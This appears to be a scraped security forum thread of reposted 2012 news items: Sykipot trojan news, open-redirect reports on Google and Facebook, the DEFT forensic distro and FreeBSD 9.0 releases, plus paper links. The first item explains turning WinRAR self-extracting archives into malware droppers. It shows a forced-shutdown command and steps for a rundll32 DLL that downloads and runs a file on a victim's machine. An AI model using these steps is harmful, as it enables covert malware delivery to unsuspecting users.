Self-extracting archive (SFX) as Creative Virus Handler Yesterday I Found and interesting article about "Self-extracting archive (SFX)" on Unremote.org by DarkCoderSc. SFX is a little application that contains compressed files. Creating a customized WinRAR SFX archives is a very easy task, but not all people know how to do it. It is therefore exactly the same as a .ZIP or .RAR archive. The only difference is that, when you execute it, will automatically extract the files. However, if you add some parameters, you can execute them after extraction or execute a shell command before extraction. So this feature can be used as good virus handler. Let's See how? DarkCoderSc shared his experience with us using a Video Demonstration as shown Below. Start up the WinRAR application; click ‘Browse for folder’ under the ‘File’ menu and browse to the location of the file. With the file highlighted, clicking on the ‘Add’ button will kickoff the archiving process and selecting the ‘Create SFX archive’ option will give the file its self-extracting feature. Under the ‘Advanced’ tab and clicking on the ‘SFX options’ button, where we can now configure our ‘Advanced SFX options’. In the first input field you can add a file name that already exist on the current drive or one of the extracted files to execute after the extraction. In the second input field you can add a file name that already exist in the current drive to execute before the extraction. PART 1: Run Basic Windows Shell Commands using SFX: Example 1: %SYSTEMDRIVE%\windows\system32\cmd.exe /k shutdown -s -f -t 3600 In the first input enter this command if we generate the SFX package and run it after the extraction we see a DOS window and a windows notification saying our computer will shutdown in 1 hour. Example 2: %SYSTEMDRIVE%\windows\notepad.exe c:\atextfile.txt You can do this with any other present application on the system such as opening a notepad file. Example 3: %SYSTEMDRIVE%\Program Files\Internet Explorer?\iexplore.exe - Unremote Security Opening a webpage using Internet Explorer PART 2: Run Advance Tricky Commands using SFX Using only a little .dll in the SFX package attacker can download and execute an application on victim's system that can or cannot be a virus and For this we just required "Rundll32 Microsoft application" and "FASM (Flat Assembler?) Compiler". Now Create a new folder and a new file called ourdll.asm when its done open this file in FASM and paste this code in the file. Edit the path to Files in sample Code for personal Usage. Now in the menu bar click on “Run” >> “Compile”. Our dll is ready now, Let's create our SFX file downloader . You need to follow the next steps: - Right click on the dll and click on “Add to archive” << WinRAR explorer option - Choose SFX package in the options list - Go to Advanced Settings tab - Click on SFX Settings button - In extract to input add this line - "%APPDATA%\dcsc\ourdll.dll" - In the first input parameter enter this line %SYSTEMDRIVE%\windows\system32\rundll32.exe %APPDATA%\dcsc\ourdll.dll, dcscdownload Now we can generate our archive, if we have correctly setup the SFX, then it will download and execute the chosen file after the full extractions. PART 3: SFX as System Killer The SFX manager includes two other dangerous functions (Run as administrator and Delete files after extraction). The option Run as administrator will ask to run it as admin, so the SFX will have all the rights on the system and, after extraction, the delete files will be usefull to do harmful things in the system. To Get the Steps of this Method, You should Read the Original Article Written By Unremote.org. Sursa: Self-extracting archive (SFX) as Creative Virus Handler | The Hacker News (THN)

ClubHACK Magazine Issue 24 Authored by clubhack | Site chmag.in Posted Jan 14, 2012 ClubHACK Magazine Issue 24 - Topics covered include One Link Facebook, SQLMAP, Social Networking and its Application Security, and more. Download: http://packetstormsecurity.org/files/download/108666/clubhack-magazine-jan2012.pdf Sursa: ClubHACK Magazine Issue 24 ? Packet Storm

Blended Attacks Exploits, Vulnerabilities and Buffer-Overflow Techniques in Computer Viruses* By Eric Chien and Péter Ször Symantec Security Response INSIDE - Types of Vulnerability - Current and Previous Threats - Current Security - Combating Blended Threats in the Future Note: This paper was originally published in Virus Bulletin, 2002 Old stuff... Download: http://www.symantec.com/avcenter/reference/blended.attacks.pdf

Reverse Engineering the RSA Malware Attack by J. Oquendo 4 months ago Reverse Engineering the RSA Malware Attack

URL redirection Vulnerability in Google Posted by Mohit Kumar On 1/14/2012 10:54:00 AM An open redirect is a vulnerability that exists when a script allows redirectionto an external site by directly calling a specific URL in an unfiltered,unmanaged fashion, which could be used to redirect victims to unintended,malicious web sites. A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. A similar vulnerability is reported in Google by "Ucha Gobejishvili ( longrifle0x )". This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers. Url: https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.something.com Same vulnerability in Facebook, Discovered by ZeRtOx from Devitel group: http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.something.com Impact of Vulnerability : The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data. The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site. Sursa: URL redirection Vulnerability in Google & Facebook | The Hacker News (THN)

[h=2]US military access cards cracked by Chinese hackers[/h] Access to buildings and intranets harvested by super-spy Trojan By John Leyden Posted in Security, 13th January 2012 16:35 GMT A new strain of the Sykipot Trojan is been used to compromise the Department of Defense-sanctioned smart cards used to authorise network and building access at many US government agencies, according to security researchers. Smart cards are a standard means of granting active duty military staff, selected reserve personnel, civilian employees and eligible contractors access to intranets at US Army, Navy and the Air Force facilities. They can be used to get into buildings or, when used in conjunction with a static password, to access networks. Chinese hackers have adapted the Sykipot Trojan to lift card credentials from compromised systems in order to access classified military networks, according to researchers at security tools firm AlienVault. An adapted version of the Trojan targets PCs attached to smart card readers running ActivClient, the client application of ActivIdentity, in what's been described as a 'smart card proxy' attack. The Sykipot Trojan was first created three years ago and featured in a number of industrial espionage-style attacks. Researchers at AlienVault captured an adapted version of the malware - specifically designed to circumvent authentication technology supplied by ActivIdentity - in a honeypot around two weeks ago. Subsequent analysis suggests that hackers added a smart card module to existing malware around March 2011. [h=3]The development of super-spy software[/h] AlienVault reckons the new strain of Sykipot Trojan was developed by the same Chinese authors that created earlier versions of the malware, first seen around three years ago. Previous builds of the Trojan were promoted by spammed messages that posed as information about the next-generation of US Air Force drones. In reality the message pointed at drive-by-download sites that featured the Sykipot Trojan as a payload and took advantage of various IE and Adobe Reader security flaws, as explained in more detail here. The malware featured in targeted attacks against aerospace technology firms, among others, that were ultimately designed to extract commercially sensitive information from compromised systems. The latest run of attacks also features spear phishing emails that attempt to trick marks into clicking on a link that deposits the Sykipot malware onto their machines. This time around the malware uses a key-logger to steal PINs associated with smart cards. Once attackers have authentication codes and associated PINs they gain the same level of trusted access to sensitive networks as the user whose credentials they have stolen. The cyber-criminals behind the attack are using a version of Sykipot first baked in March 2011 that has featured in dozens of attacks since, according to AlienVault. Jaime Blasco, AlienVault’s lab manager, told El Reg that Chinese messages in embedded code, the use of command and control servers in China as well as the use of exclusive use of the software in China all provide evidence that Chinese hackers are ultimately behind the attack. Blasco added that the use of dynamic tokens that offer two-factor authentication would thwart this particular line of attack. AlienVault supplies security event logging technology and does not compete with ActivIdentity. Blasco said it had not supplied either ActivIdentity nor the DoD with malware samples or notification of its research, which was first publicised via an article in the New York Times on Thursday. ActivIdentity's smart cards are standard issue at the DoD and a number of other US government agencies. Other users include Monsanto, BNP Paribas and Air France, the NYT adds. In response to AlienVault's research, ActivIdentity said in a statement: "We are aware of the recent reports that purportedly identified a new attack method that could hijack smart card-based certificates. "We take these reports very seriously and are working diligently to investigate the potential threat. At this time, we are confident that the purported threat poses no immediate risk to our customers." ® Sursa: US military access cards cracked by Chinese hackers • The Register

[h=3]DEFT Linux 7 Computer Forensic Live Cd - Released[/h] DEFT (Digital Evidence & Forensic Toolkit) is a customised distribution of the Lubuntu live Linux CD. It is an easy-to-use system that includes excellent hardware detection and some of the best open-source applications dedicated to incident response and computer forensics. New features: - Based on Lubuntu 11.10 - Installable Distro - Linux kernel 3.0.0-12, USB 3 ready - Libewf 20100226 - Afflib 3.6.14 - TSK 3.2.3 - Autopsy 2.24 - Digital Forensic Framework 1.2 - PTK Forensic 1.0.5 DEFT edition - Maltego CE - KeepNote 0.7.6 - Xplico 0.7.1 - Scalpel 2 - Hunchbackeed Foremost 0.6 - Findwild 1.3 - Bulk Extractor 1.1 - Emule Forensic 1.0 - Guymager 0.6.3-1 - Dhash 2 - Cyclone wizard acquire tool - SQLite Database Browser 2.0b1 - BitPim 1.0.7 - Bbwhatsapp database converter - Creepy 0.1.9 - Hydra 7.1 - Log2timeline 0.60 - Wine 1.3.28 Download: http://www.mirrordeft.net by d3v1l at 20:43 Sursa: Security-Shell: DEFT Linux 7 Computer Forensic Live Cd - Released

[h=4]Ms11-100: .Net Framework Authentication Bypass[/h] Description: Demonstration of an authentication bypass vulnerability in the Microsoft .NET Framework fixed by MS11-100. http://www.sec-consult.com/files/20111230-0_asp.net_authentication_bypass_v1.0.txt Microsoft Security Bulletin MS11-100 - Critical : Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2638420) ASP.Net Forms Authentication Bypass Sursa: Ms11-100: .Net Framework Authentication Bypass

Using Free Windows XP Mode as a VMware Virtual Machine It’s becoming hard to obtain a licensed copy of Windows XP. Yet, many IT professionals, including malware analysts, like having Windows XP in their virtualized labs. After all, Windows XP is still running on numerous personal and business systems. Fortunately, you can download a virtualized instance of Windows XP from Microsoft for free if you are running Windows 7 Professional, Enterprise, or Ultimate on your base system. Microsoft calls this virtualized instance of Windows XP “Windows XP Mode,” and distributes it in the Windows Virtual PC format. If you prefer to use VMware Workstation or VMware Player instead of Virtual PC, follow instructions below. Download Windows XP Mode from Microsoft. You’ll need to go through the Windows validation wizard to confirm you’re running a licensed copy of the appropriate version of Windows 7. You’ll have the option of downloading and installing Windows Virtual PC software, but you don’t need it if you’ll be using VMware. Install the downloaded Windows XP Mode executable. The installation wizard will give you a chance to specify where the files installed, placing them in “C:\Program Files\Windows XP Mode” by default. This folder will contain, among other files, the 1GB+ file “Windows XP Mode base.vhd” representing the hard drive of the Windows XP virtual machine. Launch VMware Workstation or Player. Go to the File > Import Windows XP Mode VM menu. VMware will launch the wizard that will automatically create the Windows XP VMware virtual machine using the Windows XP Mode files you installed in the previous step. Using VMware Workstation or Player, power on the Windows XP Mode virtual machine that VMware created. Go through the Windows XP setup wizard the same way you would do it for a regular Windows XP system. At this point, you should have a VMware virtual machine running Windows XP. It will be connected to the network using the VMWare “NAT” mode, so if your base system has Internet access, so would the virtual machine. Hand-picked related items: Using VMware for Malware Analysis VMware Network Isolation for a Malware Analysis Lab 5 Steps to Building a Malware Analysis Toolkit Using Free Tools — Lenny Zeltser Sursa: Using Free Windows XP Mode as a VMware Virtual Machine

Nu se va face asa ceva.

[h=1]FreeBSD 9.0-RELEASE Announcement[/h] The FreeBSD Release Engineering Team is pleased to announce the availability of FreeBSD 9.0-RELEASE. This is the first release from the stable/9 branch, which improves on stable/8 and adds many new features. Some of the highlights: A new installer, bsdinstall(8) has been added and is the installer used by the ISO images provided as part of this release The Fast Filesystem now supports softupdates journaling ZFS updated to version 28 Updated ATA/SATA drivers support AHCI, moved into updated CAM framework Highly Available Storage (HAST) framework Kernel support for Capsicum Capability Mode, an experimental set of features for sandboxing support User-level DTrace The TCP/IP stack now supports pluggable congestion control framework and five congestion control algorithm implementations available NFS subsystem updated, new implementation supports NFSv4 in addition to NFSv3 and NFSv2 High Performance SSH (HPN-SSH) Flattened device tree (FDT), simplifying FreeBSD configuration for embedded platforms The powerpc architecture now supports Sony Playstation 3 The LLVM compiler infrastructure and clang have been imported Gnome version 2.32.1, KDE version 4.7.3 For a complete list of new features and known problems, please see the online release notes and errata list available at: FreeBSD 9.0-RELEASE Release Notes FreeBSD 9.0-RELEASE Errata For more information about FreeBSD release engineering activities please see: Release Engineering Information [h=2]Dedication[/h] The FreeBSD Project dedicates the FreeBSD 9.0-RELEASE to the memory of Dennis M. Ritchie, one of the founding fathers of the UNIX[tm] operating system. It is on the foundation laid by the work of visionaries like Dennis that software like the FreeBSD operating system came to be. The fact that his work of so many years ago continues to influence new design decisions to this very day speaks for the brilliant engineer that he was. May he rest in peace. [h=2]BitTorrent[/h] 9.0-RELEASE ISOs are available via BitTorrent. A collection of torrent files to download the images is available at: http://torrents.freebsd.org:8080/ [h=2]FTP[/h] At the time of this announcement the following FTP sites have FreeBSD 9.0-RELEASE available. ftp://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp5.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp7.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp8.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.au.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.cn.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.cz.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.dk.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.fr.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.jp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.ru.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.tw.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.uk.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp2.us.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp10.us.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ ftp://ftp.za.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/9.0/ However before trying these sites please check your regional mirror(s) first by going to: ftp://ftp.<yourdomain>.FreeBSD.org/pub/FreeBSD Any additional mirror sites will be labeled ftp2, ftp3 and so on. More information about FreeBSD mirror sites can be found at: FTP Sites For instructions on installing FreeBSD or updating an existing machine to 9.0-RELEASE please see: http://www.FreeBSD.org/releases/9.0R/installation.html

Buffer Overflows: Anatomy of an Exploit A Look at How Systems are Exploited, and Why These Exploits Exist Joshua Hulse n3v3rm0r3.nevermore at gmail.com January 10, 2012 This paper will look at how buffer overflows occur on the stack. It will outline how the stack should be visualised when software engineers code in languages that requires manual memory management(assembly, c, c++, etc) and the importance of the ‘null terminating character’ in possible vulnerabilities. Before considering the exploitation of systems and the methods that should be employed to remove them, some time will be spent explaining the stack in the x86 architecture, the flat memory model employed by modern operating systems how payloads are written and delivered to exploited programs. Download: http://www.exploit-db.com/download_pdf/18346